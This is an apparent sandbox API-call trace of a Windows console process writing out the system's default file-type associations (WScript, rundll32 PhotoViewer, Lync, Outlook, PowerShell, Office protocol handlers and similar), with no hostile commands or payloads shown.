	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] GetFileType (hFile=0x5c) returned 0x3
	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jntfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0056.779] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3b, lpOverlapped=0x0) returned 1
	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] GetFileType (hFile=0x5c) returned 0x3
	[0056.779] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 125
	[0056.779] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x7c, lpOverlapped=0x0) returned 1
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] GetFileType (hFile=0x5c) returned 0x3
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSEFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 50
	[0056.780] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x31, lpOverlapped=0x0) returned 1
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] GetFileType (hFile=0x5c) returned 0x3
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSFile=C:\\Windows\\System32\\WScript.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 49
	[0056.780] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x30, lpOverlapped=0x0) returned 1
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] GetFileType (hFile=0x5c) returned 0x3
	[0056.780] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jtpfile=\"%ProgramFiles%\\Windows Journal\\Journal.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 60
	[0056.780] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3b, lpOverlapped=0x0) returned 1
	[0056.781] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.781] GetFileType (hFile=0x5c) returned 0x3
	[0056.781] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LDAP=\"%ProgramFiles%\\Windows Mail\\wab.exe\" \"/ldap:%1\"\r\n", lpUsedDefaultChar=0x0) returned 56
	[0056.781] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x37, lpOverlapped=0x0) returned 1
	[0056.781] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.781] GetFileType (hFile=0x5c) returned 0x3
	[0056.781] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 71
	[0056.781] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x46, lpOverlapped=0x0) returned 1
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] GetFileType (hFile=0x5c) returned 0x3
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lync15classic=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 78
	[0056.782] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4d, lpOverlapped=0x0) returned 1
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] GetFileType (hFile=0x5c) returned 0x3
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-chan=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 72
	[0056.782] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x47, lpOverlapped=0x0) returned 1
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] GetFileType (hFile=0x5c) returned 0x3
	[0056.782] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ma-filelink=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 76
	[0056.782] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4b, lpOverlapped=0x0) returned 1
	[0056.783] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.783] GetFileType (hFile=0x5c) returned 0x3
	[0056.783] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MacromediaFlashPaper.MacromediaFlashPaper=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\" -osint -url \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 114
	[0056.783] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x71, lpOverlapped=0x0) returned 1
	[0056.783] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.783] GetFileType (hFile=0x5c) returned 0x3
	[0056.783] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mailto=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0056.783] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5f, lpOverlapped=0x0) returned 1
	[0056.784] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.784] GetFileType (hFile=0x5c) returned 0x3
	[0056.784] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mhtmlfile=\"C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe\" -nohome\r\n", lpUsedDefaultChar=0x0) returned 76
	[0056.784] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x4b, lpOverlapped=0x0) returned 1
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] GetFileType (hFile=0x5c) returned 0x3
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.InformationCard=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", lpUsedDefaultChar=0x0) returned 130
	[0056.785] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x81, lpOverlapped=0x0) returned 1
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] GetFileType (hFile=0x5c) returned 0x3
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15ClassicJoin.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0056.785] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] GetFileType (hFile=0x5c) returned 0x3
	[0056.785] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15Join.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0056.785] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x57, lpOverlapped=0x0) returned 1
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] GetFileType (hFile=0x5c) returned 0x3
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.Lync.15TelProtocol.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\lync.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 95
	[0056.786] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x5e, lpOverlapped=0x0) returned 1
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] GetFileType (hFile=0x5c) returned 0x3
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellConsole.1=\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -p \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 100
	[0056.786] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x63, lpOverlapped=0x0) returned 1
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] GetFileType (hFile=0x5c) returned 0x3
	[0056.786] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellData.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 68
	[0056.786] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x43, lpOverlapped=0x0) returned 1
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] GetFileType (hFile=0x5c) returned 0x3
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellModule.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70
	[0056.787] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x45, lpOverlapped=0x0) returned 1
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] GetFileType (hFile=0x5c) returned 0x3
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.PowerShellScript.1=\"C:\\Windows\\System32\\notepad.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 70
	[0056.787] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x45, lpOverlapped=0x0) returned 1
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] GetFileType (hFile=0x5c) returned 0x3
	[0056.787] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.System.Update.1=\"%systemroot%\\system32\\wusa.exe\" \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 90
	[0056.787] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x59, lpOverlapped=0x0) returned 1
	[0056.789] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.789] GetFileType (hFile=0x5c) returned 0x3
	[0056.789] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.WindowsCardSpaceBackup=C:\\Windows\\System32\\rundll32.exe C:\\Windows\\System32\\infocardcpl.cpl,ImportInformationCard_RunDll  %1\r\n", lpUsedDefaultChar=0x0) returned 137
	[0056.789] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x88, lpOverlapped=0x0) returned 1
	[0056.789] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.789] GetFileType (hFile=0x5c) returned 0x3
	[0056.789] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.789] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migfile=\"C:\\Windows\\System32\\migwiz\\migwiz.exe\" /Restore \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 64
	[0056.789] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x3f, lpOverlapped=0x0) returned 1
	[0056.790] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.790] GetFileType (hFile=0x5c) returned 0x3
	[0056.790] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MMS=\"%ProgramFiles(x86)%\\Windows Media Player\\wmplayer.exe\" \"%L\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0056.790] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x42, lpOverlapped=0x0) returned 1
	[0056.790] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.790] GetFileType (hFile=0x5c) returned 0x3
	[0056.790] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-access=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 85
	[0056.790] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x54, lpOverlapped=0x0) returned 1
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] GetFileType (hFile=0x5c) returned 0x3
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-excel=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0056.791] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x53, lpOverlapped=0x0) returned 1
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] GetFileType (hFile=0x5c) returned 0x3
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-powerpoint=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 89
	[0056.791] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x58, lpOverlapped=0x0) returned 1
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] GetFileType (hFile=0x5c) returned 0x3
	[0056.791] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.791] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 86
	[0056.791] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x20f528, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f528*=0x55, lpOverlapped=0x0) returned 1
	[0056.792] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0056.792] GetFileType (hFile=0x5c) returned 0x3
	[0056.792] _get_osfhandle (_FileHandle=1) returned 0x5c
